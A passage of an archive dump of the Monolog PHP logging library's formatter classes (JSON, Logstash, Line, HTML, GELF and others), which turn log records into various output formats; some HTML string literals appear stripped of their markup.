= $this->formatDate($value, $nestingLevel + 1); } elseif ($value instanceof \Throwable) { $array[$name] = $this->formatException($value, $nestingLevel + 1); } elseif (is_array($value)) { $array[$name] = $this->formatArray($value, $nestingLevel + 1); } elseif (is_object($value) && !$value instanceof Type) { $array[$name] = $this->formatObject($value, $nestingLevel + 1); } } return $array; } /** * @param mixed $value * @return mixed[]|string */ protected function formatObject($value, int $nestingLevel) { $objectVars = get_object_vars($value); $objectVars['class'] = Utils::getClass($value); return $this->formatArray($objectVars, $nestingLevel); } /** * @return mixed[]|string */ protected function formatException(\Throwable $exception, int $nestingLevel) { $formattedException = [ 'class' => Utils::getClass($exception), 'message' => $exception->getMessage(), 'code' => (int) $exception->getCode(), 'file' => $exception->getFile() . ':' . $exception->getLine(), ]; if ($this->exceptionTraceAsString === true) { $formattedException['trace'] = $exception->getTraceAsString(); } else { $formattedException['trace'] = $exception->getTrace(); } return $this->formatArray($formattedException, $nestingLevel); } protected function formatDate(\DateTimeInterface $value, int $nestingLevel): UTCDateTime { if ($this->isLegacyMongoExt) { return $this->legacyGetMongoDbDateTime($value); } return $this->getMongoDbDateTime($value); } private function getMongoDbDateTime(\DateTimeInterface $value): UTCDateTime { return new UTCDateTime((int) floor(((float) $value->format('U.u')) * 1000)); } /** * This is needed to support MongoDB Driver v1.19 and below * * See https://github.com/mongodb/mongo-php-driver/issues/426 * * It can probably be removed in 2.1 or later once MongoDB's 1.2 is released and widely adopted */ private function legacyGetMongoDbDateTime(\DateTimeInterface $value): UTCDateTime { $milliseconds = floor(((float) $value->format('U.u')) * 1000); $milliseconds = (PHP_INT_SIZE == 8) //64-bit OS? ? (int) $milliseconds : (string) $milliseconds; // @phpstan-ignore-next-line return new UTCDateTime($milliseconds); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/LogglyFormatter.php000064400000002431147577714370024273 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Encodes message information into JSON in a format compatible with Loggly. * * @author Adam Pancutt */ class LogglyFormatter extends JsonFormatter { /** * Overrides the default batch mode to new lines for compatibility with the * Loggly bulk API. */ public function __construct(int $batchMode = self::BATCH_MODE_NEWLINES, bool $appendNewline = false) { parent::__construct($batchMode, $appendNewline); } /** * Appends the 'timestamp' parameter for indexing by Loggly. * * @see https://www.loggly.com/docs/automated-parsing/#json * @see \Monolog\Formatter\JsonFormatter::format() */ public function format(array $record): string { if (isset($record["datetime"]) && ($record["datetime"] instanceof \DateTimeInterface)) { $record["timestamp"] = $record["datetime"]->format("Y-m-d\TH:i:s.uO"); unset($record["datetime"]); } return parent::format($record); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/LogstashFormatter.php000064400000006512147577714370024626 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Serializes a log message to Logstash Event Format * * @see https://www.elastic.co/products/logstash * @see https://github.com/elastic/logstash/blob/master/logstash-core/src/main/java/org/logstash/Event.java * * @author Tim Mower */ class LogstashFormatter extends NormalizerFormatter { /** * @var string the name of the system for the Logstash log message, used to fill the @source field */ protected $systemName; /** * @var string an application name for the Logstash log message, used to fill the @type field */ protected $applicationName; /** * @var string the key for 'extra' fields from the Monolog record */ protected $extraKey; /** * @var string the key for 'context' fields from the Monolog record */ protected $contextKey; /** * @param string $applicationName The application that sends the data, used as the "type" field of logstash * @param string|null $systemName The system/machine name, used as the "source" field of logstash, defaults to the hostname of the machine * @param string $extraKey The key for extra keys inside logstash "fields", defaults to extra * @param string $contextKey The key for context keys inside logstash "fields", defaults to context */ public function __construct(string $applicationName, ?string $systemName = null, string $extraKey = 'extra', string $contextKey = 'context') { // logstash requires a ISO 8601 format date with optional millisecond precision. parent::__construct('Y-m-d\TH:i:s.uP'); $this->systemName = $systemName === null ? (string) gethostname() : $systemName; $this->applicationName = $applicationName; $this->extraKey = $extraKey; $this->contextKey = $contextKey; } /** * {@inheritDoc} */ public function format(array $record): string { $record = parent::format($record); if (empty($record['datetime'])) { $record['datetime'] = gmdate('c'); } $message = [ '@timestamp' => $record['datetime'], '@version' => 1, 'host' => $this->systemName, ]; if (isset($record['message'])) { $message['message'] = $record['message']; } if (isset($record['channel'])) { $message['type'] = $record['channel']; $message['channel'] = $record['channel']; } if (isset($record['level_name'])) { $message['level'] = $record['level_name']; } if (isset($record['level'])) { $message['monolog_level'] = $record['level']; } if ($this->applicationName) { $message['type'] = $this->applicationName; } if (!empty($record['extra'])) { $message[$this->extraKey] = $record['extra']; } if (!empty($record['context'])) { $message[$this->contextKey] = $record['context']; } return $this->toJson($message) . "\n"; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/LineFormatter.php000064400000014711147577714370023731 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Utils; /** * Formats incoming records into a one-line string * * This is especially useful for logging to files * * @author Jordi Boggiano * @author Christophe Coevoet */ class LineFormatter extends NormalizerFormatter { public const SIMPLE_FORMAT = "[%datetime%] %channel%.%level_name%: %message% %context% %extra%\n"; /** @var string */ protected $format; /** @var bool */ protected $allowInlineLineBreaks; /** @var bool */ protected $ignoreEmptyContextAndExtra; /** @var bool */ protected $includeStacktraces; /** * @param string|null $format The format of the message * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format * @param bool $allowInlineLineBreaks Whether to allow inline line breaks in log entries * @param bool $ignoreEmptyContextAndExtra */ public function __construct(?string $format = null, ?string $dateFormat = null, bool $allowInlineLineBreaks = false, bool $ignoreEmptyContextAndExtra = false, bool $includeStacktraces = false) { $this->format = $format === null ? static::SIMPLE_FORMAT : $format; $this->allowInlineLineBreaks = $allowInlineLineBreaks; $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; $this->includeStacktraces($includeStacktraces); parent::__construct($dateFormat); } public function includeStacktraces(bool $include = true): self { $this->includeStacktraces = $include; if ($this->includeStacktraces) { $this->allowInlineLineBreaks = true; } return $this; } public function allowInlineLineBreaks(bool $allow = true): self { $this->allowInlineLineBreaks = $allow; return $this; } public function ignoreEmptyContextAndExtra(bool $ignore = true): self { $this->ignoreEmptyContextAndExtra = $ignore; return $this; } /** * {@inheritDoc} */ public function format(array $record): string { $vars = parent::format($record); $output = $this->format; foreach ($vars['extra'] as $var => $val) { if (false !== strpos($output, '%extra.'.$var.'%')) { $output = str_replace('%extra.'.$var.'%', $this->stringify($val), $output); unset($vars['extra'][$var]); } } foreach ($vars['context'] as $var => $val) { if (false !== strpos($output, '%context.'.$var.'%')) { $output = str_replace('%context.'.$var.'%', $this->stringify($val), $output); unset($vars['context'][$var]); } } if ($this->ignoreEmptyContextAndExtra) { if (empty($vars['context'])) { unset($vars['context']); $output = str_replace('%context%', '', $output); } if (empty($vars['extra'])) { unset($vars['extra']); $output = str_replace('%extra%', '', $output); } } foreach ($vars as $var => $val) { if (false !== strpos($output, '%'.$var.'%')) { $output = str_replace('%'.$var.'%', $this->stringify($val), $output); } } // remove leftover %extra.xxx% and %context.xxx% if any if (false !== strpos($output, '%')) { $output = preg_replace('/%(?:extra|context)\..+?%/', '', $output); if (null === $output) { $pcreErrorCode = preg_last_error(); throw new \RuntimeException('Failed to run preg_replace: ' . $pcreErrorCode . ' / ' . Utils::pcreLastErrorMessage($pcreErrorCode)); } } return $output; } public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } /** * @param mixed $value */ public function stringify($value): string { return $this->replaceNewlines($this->convertToString($value)); } protected function normalizeException(\Throwable $e, int $depth = 0): string { $str = $this->formatException($e); if ($previous = $e->getPrevious()) { do { $str .= "\n[previous exception] " . $this->formatException($previous); } while ($previous = $previous->getPrevious()); } return $str; } /** * @param mixed $data */ protected function convertToString($data): string { if (null === $data || is_bool($data)) { return var_export($data, true); } if (is_scalar($data)) { return (string) $data; } return $this->toJson($data, true); } protected function replaceNewlines(string $str): string { if ($this->allowInlineLineBreaks) { if (0 === strpos($str, '{')) { return str_replace(array('\r', '\n'), array("\r", "\n"), $str); } return $str; } return str_replace(["\r\n", "\r", "\n"], ' ', $str); } private function formatException(\Throwable $e): string { $str = '[object] (' . Utils::getClass($e) . '(code: ' . $e->getCode(); if ($e instanceof \SoapFault) { if (isset($e->faultcode)) { $str .= ' faultcode: ' . $e->faultcode; } if (isset($e->faultactor)) { $str .= ' faultactor: ' . $e->faultactor; } if (isset($e->detail)) { if (is_string($e->detail)) { $str .= ' detail: ' . $e->detail; } elseif (is_object($e->detail) || is_array($e->detail)) { $str .= ' detail: ' . $this->toJson($e->detail, true); } } } $str .= '): ' . $e->getMessage() . ' at ' . $e->getFile() . ':' . $e->getLine() . ')'; if ($this->includeStacktraces) { $str .= "\n[stacktrace]\n" . $e->getTraceAsString() . "\n"; } return $str; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/FormatterInterface.php000064400000001676147577714370024750 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Interface for formatters * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger */ interface FormatterInterface { /** * Formats a log record. * * @param array $record A record to format * @return mixed The formatted record * * @phpstan-param Record $record */ public function format(array $record); /** * Formats a set of log records. * * @param array $records A set of records to format * @return mixed The formatted set of records * * @phpstan-param Record[] $records */ public function formatBatch(array $records); } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/NormalizerFormatter.php000064400000017310147577714370025162 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\DateTimeImmutable; use Monolog\Utils; use Throwable; /** * Normalizes incoming records to remove objects/resources so it's easier to dump to various targets * * @author Jordi Boggiano */ class NormalizerFormatter implements FormatterInterface { public const SIMPLE_DATE = "Y-m-d\TH:i:sP"; /** @var string */ protected $dateFormat; /** @var int */ protected $maxNormalizeDepth = 9; /** @var int */ protected $maxNormalizeItemCount = 1000; /** @var int */ private $jsonEncodeOptions = Utils::DEFAULT_JSON_FLAGS; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { $this->dateFormat = null === $dateFormat ? static::SIMPLE_DATE : $dateFormat; if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s NormalizerFormatter'); } } /** * {@inheritDoc} * * @param mixed[] $record */ public function format(array $record) { return $this->normalize($record); } /** * {@inheritDoc} */ public function formatBatch(array $records) { foreach ($records as $key => $record) { $records[$key] = $this->format($record); } return $records; } public function getDateFormat(): string { return $this->dateFormat; } public function setDateFormat(string $dateFormat): self { $this->dateFormat = $dateFormat; return $this; } /** * The maximum number of normalization levels to go through */ public function getMaxNormalizeDepth(): int { return $this->maxNormalizeDepth; } public function setMaxNormalizeDepth(int $maxNormalizeDepth): self { $this->maxNormalizeDepth = $maxNormalizeDepth; return $this; } /** * The maximum number of items to normalize per level */ public function getMaxNormalizeItemCount(): int { return $this->maxNormalizeItemCount; } public function setMaxNormalizeItemCount(int $maxNormalizeItemCount): self { $this->maxNormalizeItemCount = $maxNormalizeItemCount; return $this; } /** * Enables `json_encode` pretty print. */ public function setJsonPrettyPrint(bool $enable): self { if ($enable) { $this->jsonEncodeOptions |= JSON_PRETTY_PRINT; } else { $this->jsonEncodeOptions &= ~JSON_PRETTY_PRINT; } return $this; } /** * @param mixed $data * @return null|scalar|array */ protected function normalize($data, int $depth = 0) { if ($depth > $this->maxNormalizeDepth) { return 'Over ' . $this->maxNormalizeDepth . ' levels deep, aborting normalization'; } if (null === $data || is_scalar($data)) { if (is_float($data)) { if (is_infinite($data)) { return ($data > 0 ? '' : '-') . 'INF'; } if (is_nan($data)) { return 'NaN'; } } return $data; } if (is_array($data)) { $normalized = []; $count = 1; foreach ($data as $key => $value) { if ($count++ > $this->maxNormalizeItemCount) { $normalized['...'] = 'Over ' . $this->maxNormalizeItemCount . ' items ('.count($data).' total), aborting normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof \DateTimeInterface) { return $this->formatDate($data); } if (is_object($data)) { if ($data instanceof Throwable) { return $this->normalizeException($data, $depth); } if ($data instanceof \JsonSerializable) { /** @var null|scalar|array $value */ $value = $data->jsonSerialize(); } elseif (method_exists($data, '__toString')) { /** @var string $value */ $value = $data->__toString(); } else { // the rest is normalized by json encoding and decoding it /** @var null|scalar|array $value */ $value = json_decode($this->toJson($data, true), true); } return [Utils::getClass($data) => $value]; } if (is_resource($data)) { return sprintf('[resource(%s)]', get_resource_type($data)); } return '[unknown('.gettype($data).')]'; } /** * @return mixed[] */ protected function normalizeException(Throwable $e, int $depth = 0) { if ($e instanceof \JsonSerializable) { return (array) $e->jsonSerialize(); } $data = [ 'class' => Utils::getClass($e), 'message' => $e->getMessage(), 'code' => (int) $e->getCode(), 'file' => $e->getFile().':'.$e->getLine(), ]; if ($e instanceof \SoapFault) { if (isset($e->faultcode)) { $data['faultcode'] = $e->faultcode; } if (isset($e->faultactor)) { $data['faultactor'] = $e->faultactor; } if (isset($e->detail)) { if (is_string($e->detail)) { $data['detail'] = $e->detail; } elseif (is_object($e->detail) || is_array($e->detail)) { $data['detail'] = $this->toJson($e->detail, true); } } } $trace = $e->getTrace(); foreach ($trace as $frame) { if (isset($frame['file'])) { $data['trace'][] = $frame['file'].':'.$frame['line']; } } if ($previous = $e->getPrevious()) { $data['previous'] = $this->normalizeException($previous, $depth + 1); } return $data; } /** * Return the JSON representation of a value * * @param mixed $data * @throws \RuntimeException if encoding fails and errors are not ignored * @return string if encoding fails and ignoreErrors is true 'null' is returned */ protected function toJson($data, bool $ignoreErrors = false): string { return Utils::jsonEncode($data, $this->jsonEncodeOptions, $ignoreErrors); } /** * @return string */ protected function formatDate(\DateTimeInterface $date) { // in case the date format isn't custom then we defer to the custom DateTimeImmutable // formatting logic, which will pick the right format based on whether useMicroseconds is on if ($this->dateFormat === self::SIMPLE_DATE && $date instanceof DateTimeImmutable) { return (string) $date; } return $date->format($this->dateFormat); } public function addJsonEncodeOption(int $option): self { $this->jsonEncodeOptions |= $option; return $this; } public function removeJsonEncodeOption(int $option): self { $this->jsonEncodeOptions &= ~$option; return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/JsonFormatter.php000064400000013104147577714370023746 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Throwable; /** * Encodes whatever record data is passed to it as json * * This can be useful to log to databases or remote APIs * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger */ class JsonFormatter extends NormalizerFormatter { public const BATCH_MODE_JSON = 1; public const BATCH_MODE_NEWLINES = 2; /** @var self::BATCH_MODE_* */ protected $batchMode; /** @var bool */ protected $appendNewline; /** @var bool */ protected $ignoreEmptyContextAndExtra; /** @var bool */ protected $includeStacktraces = false; /** * @param self::BATCH_MODE_* $batchMode */ public function __construct(int $batchMode = self::BATCH_MODE_JSON, bool $appendNewline = true, bool $ignoreEmptyContextAndExtra = false, bool $includeStacktraces = false) { $this->batchMode = $batchMode; $this->appendNewline = $appendNewline; $this->ignoreEmptyContextAndExtra = $ignoreEmptyContextAndExtra; $this->includeStacktraces = $includeStacktraces; parent::__construct(); } /** * The batch mode option configures the formatting style for * multiple records. By default, multiple records will be * formatted as a JSON-encoded array. However, for * compatibility with some API endpoints, alternative styles * are available. */ public function getBatchMode(): int { return $this->batchMode; } /** * True if newlines are appended to every formatted record */ public function isAppendingNewlines(): bool { return $this->appendNewline; } /** * {@inheritDoc} */ public function format(array $record): string { $normalized = $this->normalize($record); if (isset($normalized['context']) && $normalized['context'] === []) { if ($this->ignoreEmptyContextAndExtra) { unset($normalized['context']); } else { $normalized['context'] = new \stdClass; } } if (isset($normalized['extra']) && $normalized['extra'] === []) { if ($this->ignoreEmptyContextAndExtra) { unset($normalized['extra']); } else { $normalized['extra'] = new \stdClass; } } return $this->toJson($normalized, true) . ($this->appendNewline ? "\n" : ''); } /** * {@inheritDoc} */ public function formatBatch(array $records): string { switch ($this->batchMode) { case static::BATCH_MODE_NEWLINES: return $this->formatBatchNewlines($records); case static::BATCH_MODE_JSON: default: return $this->formatBatchJson($records); } } /** * @return self */ public function includeStacktraces(bool $include = true): self { $this->includeStacktraces = $include; return $this; } /** * Return a JSON-encoded array of records. * * @phpstan-param Record[] $records */ protected function formatBatchJson(array $records): string { return $this->toJson($this->normalize($records), true); } /** * Use new lines to separate records instead of a * JSON-encoded array. * * @phpstan-param Record[] $records */ protected function formatBatchNewlines(array $records): string { $instance = $this; $oldNewline = $this->appendNewline; $this->appendNewline = false; array_walk($records, function (&$value, $key) use ($instance) { $value = $instance->format($value); }); $this->appendNewline = $oldNewline; return implode("\n", $records); } /** * Normalizes given $data. * * @param mixed $data * * @return mixed */ protected function normalize($data, int $depth = 0) { if ($depth > $this->maxNormalizeDepth) { return 'Over '.$this->maxNormalizeDepth.' levels deep, aborting normalization'; } if (is_array($data)) { $normalized = []; $count = 1; foreach ($data as $key => $value) { if ($count++ > $this->maxNormalizeItemCount) { $normalized['...'] = 'Over '.$this->maxNormalizeItemCount.' items ('.count($data).' total), aborting normalization'; break; } $normalized[$key] = $this->normalize($value, $depth + 1); } return $normalized; } if ($data instanceof \DateTimeInterface) { return $this->formatDate($data); } if ($data instanceof Throwable) { return $this->normalizeException($data, $depth); } if (is_resource($data)) { return parent::normalize($data); } return $data; } /** * Normalizes given exception with or without its own stack trace based on * `includeStacktraces` property. * * {@inheritDoc} */ protected function normalizeException(Throwable $e, int $depth = 0): array { $data = parent::normalizeException($e, $depth); if (!$this->includeStacktraces) { unset($data['trace']); } return $data; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/FluentdFormatter.php000064400000004260147577714370024441 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Utils; /** * Class FluentdFormatter * * Serializes a log message to Fluentd unix socket protocol * * Fluentd config: * * * type unix * path /var/run/td-agent/td-agent.sock * * * Monolog setup: * * $logger = new Monolog\Logger('fluent.tag'); * $fluentHandler = new Monolog\Handler\SocketHandler('unix:///var/run/td-agent/td-agent.sock'); * $fluentHandler->setFormatter(new Monolog\Formatter\FluentdFormatter()); * $logger->pushHandler($fluentHandler); * * @author Andrius Putna */ class FluentdFormatter implements FormatterInterface { /** * @var bool $levelTag should message level be a part of the fluentd tag */ protected $levelTag = false; public function __construct(bool $levelTag = false) { if (!function_exists('json_encode')) { throw new \RuntimeException('PHP\'s json extension is required to use Monolog\'s FluentdUnixFormatter'); } $this->levelTag = $levelTag; } public function isUsingLevelsInTag(): bool { return $this->levelTag; } public function format(array $record): string { $tag = $record['channel']; if ($this->levelTag) { $tag .= '.' . strtolower($record['level_name']); } $message = [ 'message' => $record['message'], 'context' => $record['context'], 'extra' => $record['extra'], ]; if (!$this->levelTag) { $message['level'] = $record['level']; $message['level_name'] = $record['level_name']; } return Utils::jsonEncode([$tag, $record['datetime']->getTimestamp(), $message]); } public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/FlowdockFormatter.php000064400000004715147577714370024615 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * formats the record to be used in the FlowdockHandler * * @author Dominik Liebler */ class FlowdockFormatter implements FormatterInterface { /** * @var string */ private $source; /** * @var string */ private $sourceEmail; public function __construct(string $source, string $sourceEmail) { $this->source = $source; $this->sourceEmail = $sourceEmail; } /** * {@inheritDoc} * * @return mixed[] */ public function format(array $record): array { $tags = [ '#logs', '#' . strtolower($record['level_name']), '#' . $record['channel'], ]; foreach ($record['extra'] as $value) { $tags[] = '#' . $value; } $subject = sprintf( 'in %s: %s - %s', $this->source, $record['level_name'], $this->getShortMessage($record['message']) ); $record['flowdock'] = [ 'source' => $this->source, 'from_address' => $this->sourceEmail, 'subject' => $subject, 'content' => $record['message'], 'tags' => $tags, 'project' => $this->source, ]; return $record; } /** * {@inheritDoc} * * @return mixed[][] */ public function formatBatch(array $records): array { $formatted = []; foreach ($records as $record) { $formatted[] = $this->format($record); } return $formatted; } public function getShortMessage(string $message): string { static $hasMbString; if (null === $hasMbString) { $hasMbString = function_exists('mb_strlen'); } $maxLength = 45; if ($hasMbString) { if (mb_strlen($message, 'UTF-8') > $maxLength) { $message = mb_substr($message, 0, $maxLength - 4, 'UTF-8') . ' ...'; } } else { if (strlen($message) > $maxLength) { $message = substr($message, 0, $maxLength - 4) . ' ...'; } } return $message; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/LogmaticFormatter.php000064400000002714147577714370024601 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Encodes message information into JSON in a format compatible with Logmatic. * * @author Julien Breux */ class LogmaticFormatter extends JsonFormatter { protected const MARKERS = ["sourcecode", "php"]; /** * @var string */ protected $hostname = ''; /** * @var string */ protected $appname = ''; public function setHostname(string $hostname): self { $this->hostname = $hostname; return $this; } public function setAppname(string $appname): self { $this->appname = $appname; return $this; } /** * Appends the 'hostname' and 'appname' parameter for indexing by Logmatic. * * @see http://doc.logmatic.io/docs/basics-to-send-data * @see \Monolog\Formatter\JsonFormatter::format() */ public function format(array $record): string { if (!empty($this->hostname)) { $record["hostname"] = $this->hostname; } if (!empty($this->appname)) { $record["appname"] = $this->appname; } $record["@marker"] = static::MARKERS; return parent::format($record); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/GoogleCloudLoggingFormatter.php000064400000002056147577714370026553 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use DateTimeInterface; use Monolog\LogRecord; /** * Encodes message information into JSON in a format compatible with Cloud logging. * * @see https://cloud.google.com/logging/docs/reference/v2/rest/v2/LogEntry * * @author Luís Cobucci */ final class GoogleCloudLoggingFormatter extends JsonFormatter { /** {@inheritdoc} **/ public function format(array $record): string { // Re-key level for GCP logging $record['severity'] = $record['level_name']; $record['timestamp'] = $record['datetime']->format(DateTimeInterface::RFC3339_EXTENDED); // Remove keys that are not used by GCP unset($record['level'], $record['level_name'], $record['datetime']); return parent::format($record); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/ScalarFormatter.php000064400000002210147577714370024236 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; /** * Formats data into an associative array of scalar values. * Objects and arrays will be JSON encoded. * * @author Andrew Lawson */ class ScalarFormatter extends NormalizerFormatter { /** * {@inheritDoc} * * @phpstan-return array $record */ public function format(array $record): array { $result = []; foreach ($record as $key => $value) { $result[$key] = $this->normalizeValue($value); } return $result; } /** * @param mixed $value * @return scalar|null */ protected function normalizeValue($value) { $normalized = $this->normalize($value); if (is_array($normalized)) { return $this->toJson($normalized, true); } return $normalized; } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/WildfireFormatter.php000064400000007541147577714370024612 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; /** * Serializes a log message according to Wildfire's header requirements * * @author Eric Clemmons (@ericclemmons) * @author Christophe Coevoet * @author Kirill chEbba Chebunin * * @phpstan-import-type Level from \Monolog\Logger */ class WildfireFormatter extends NormalizerFormatter { /** * Translates Monolog log levels to Wildfire levels. * * @var array */ private $logLevels = [ Logger::DEBUG => 'LOG', Logger::INFO => 'INFO', Logger::NOTICE => 'INFO', Logger::WARNING => 'WARN', Logger::ERROR => 'ERROR', Logger::CRITICAL => 'ERROR', Logger::ALERT => 'ERROR', Logger::EMERGENCY => 'ERROR', ]; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { parent::__construct($dateFormat); // http headers do not like non-ISO-8559-1 characters $this->removeJsonEncodeOption(JSON_UNESCAPED_UNICODE); } /** * {@inheritDoc} * * @return string */ public function format(array $record): string { // Retrieve the line and file if set and remove them from the formatted extra $file = $line = ''; if (isset($record['extra']['file'])) { $file = $record['extra']['file']; unset($record['extra']['file']); } if (isset($record['extra']['line'])) { $line = $record['extra']['line']; unset($record['extra']['line']); } /** @var mixed[] $record */ $record = $this->normalize($record); $message = ['message' => $record['message']]; $handleError = false; if ($record['context']) { $message['context'] = $record['context']; $handleError = true; } if ($record['extra']) { $message['extra'] = $record['extra']; $handleError = true; } if (count($message) === 1) { $message = reset($message); } if (isset($record['context']['table'])) { $type = 'TABLE'; $label = $record['channel'] .': '. $record['message']; $message = $record['context']['table']; } else { $type = $this->logLevels[$record['level']]; $label = $record['channel']; } // Create JSON object describing the appearance of the message in the console $json = $this->toJson([ [ 'Type' => $type, 'File' => $file, 'Line' => $line, 'Label' => $label, ], $message, ], $handleError); // The message itself is a serialization of the above JSON object + it's length return sprintf( '%d|%s|', strlen($json), $json ); } /** * {@inheritDoc} * * @phpstan-return never */ public function formatBatch(array $records) { throw new \BadMethodCallException('Batch formatting does not make sense for the WildfireFormatter'); } /** * {@inheritDoc} * * @return null|scalar|array|object */ protected function normalize($data, int $depth = 0) { if (is_object($data) && !$data instanceof \DateTimeInterface) { return $data; } return parent::normalize($data, $depth); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/HtmlFormatter.php000064400000010641147577714370023744 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; use Monolog\Utils; /** * Formats incoming records into an HTML table * * This is especially useful for html email logging * * @author Tiago Brito */ class HtmlFormatter extends NormalizerFormatter { /** * Translates Monolog log levels to html color priorities. * * @var array */ protected $logLevels = [ Logger::DEBUG => '#CCCCCC', Logger::INFO => '#28A745', Logger::NOTICE => '#17A2B8', Logger::WARNING => '#FFC107', Logger::ERROR => '#FD7E14', Logger::CRITICAL => '#DC3545', Logger::ALERT => '#821722', Logger::EMERGENCY => '#000000', ]; /** * @param string|null $dateFormat The format of the timestamp: one supported by DateTime::format */ public function __construct(?string $dateFormat = null) { parent::__construct($dateFormat); } /** * Creates an HTML table row * * @param string $th Row header content * @param string $td Row standard cell content * @param bool $escapeTd false if td content must not be html escaped */ protected function addRow(string $th, string $td = ' ', bool $escapeTd = true): string { $th = htmlspecialchars($th, ENT_NOQUOTES, 'UTF-8'); if ($escapeTd) { $td = '
                    '.htmlspecialchars($td, ENT_NOQUOTES, 'UTF-8').'
                    '; } return "

                    $th:".$td."
                    '; $output .= $this->addRow('Message', (string) $record['message']); $output .= $this->addRow('Time', $this->formatDate($record['datetime'])); $output .= $this->addRow('Channel', $record['channel']); if ($record['context']) { $embeddedTable = '
                    '; foreach ($record['context'] as $key => $value) { $embeddedTable .= $this->addRow((string) $key, $this->convertToString($value)); } $embeddedTable .= '
                    '; $output .= $this->addRow('Context', $embeddedTable, false); } if ($record['extra']) { $embeddedTable = ''; foreach ($record['extra'] as $key => $value) { $embeddedTable .= $this->addRow((string) $key, $this->convertToString($value)); } $embeddedTable .= '
                    '; $output .= $this->addRow('Extra', $embeddedTable, false); } return $output.'

              '; } /** * Formats a set of log records. * * @return string The formatted set of records */ public function formatBatch(array $records): string { $message = ''; foreach ($records as $record) { $message .= $this->format($record); } return $message; } /** * @param mixed $data */ protected function convertToString($data): string { if (null === $data || is_scalar($data)) { return (string) $data; } $data = $this->normalize($data); return Utils::jsonEncode($data, JSON_PRETTY_PRINT | Utils::DEFAULT_JSON_FLAGS, true); } } res/readability/vendor/monolog/monolog/src/Monolog/Formatter/GelfMessageFormatter.php000064400000012105147577714370025217 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Formatter; use Monolog\Logger; use Gelf\Message; use Monolog\Utils; /** * Serializes a log message to GELF * @see http://docs.graylog.org/en/latest/pages/gelf.html * * @author Matt Lehner * * @phpstan-import-type Level from \Monolog\Logger */ class GelfMessageFormatter extends NormalizerFormatter { protected const DEFAULT_MAX_LENGTH = 32766; /** * @var string the name of the system for the Gelf log message */ protected $systemName; /** * @var string a prefix for 'extra' fields from the Monolog record (optional) */ protected $extraPrefix; /** * @var string a prefix for 'context' fields from the Monolog record (optional) */ protected $contextPrefix; /** * @var int max length per field */ protected $maxLength; /** * Translates Monolog log levels to Graylog2 log priorities. * * @var array * * @phpstan-var array */ private $logLevels = [ Logger::DEBUG => 7, Logger::INFO => 6, Logger::NOTICE => 5, Logger::WARNING => 4, Logger::ERROR => 3, Logger::CRITICAL => 2, Logger::ALERT => 1, Logger::EMERGENCY => 0, ]; public function __construct(?string $systemName = null, ?string $extraPrefix = null, string $contextPrefix = 'ctxt_', ?int $maxLength = null) { if (!class_exists(Message::class)) { throw new \RuntimeException('Composer package graylog2/gelf-php is required to use Monolog\'s GelfMessageFormatter'); } parent::__construct('U.u'); $this->systemName = (is_null($systemName) || $systemName === '') ? (string) gethostname() : $systemName; $this->extraPrefix = is_null($extraPrefix) ? '' : $extraPrefix; $this->contextPrefix = $contextPrefix; $this->maxLength = is_null($maxLength) ? self::DEFAULT_MAX_LENGTH : $maxLength; } /** * {@inheritDoc} */ public function format(array $record): Message { $context = $extra = []; if (isset($record['context'])) { /** @var mixed[] $context */ $context = parent::normalize($record['context']); } if (isset($record['extra'])) { /** @var mixed[] $extra */ $extra = parent::normalize($record['extra']); } if (!isset($record['datetime'], $record['message'], $record['level'])) { throw new \InvalidArgumentException('The record should at least contain datetime, message and level keys, '.var_export($record, true).' given'); } $message = new Message(); $message ->setTimestamp($record['datetime']) ->setShortMessage((string) $record['message']) ->setHost($this->systemName) 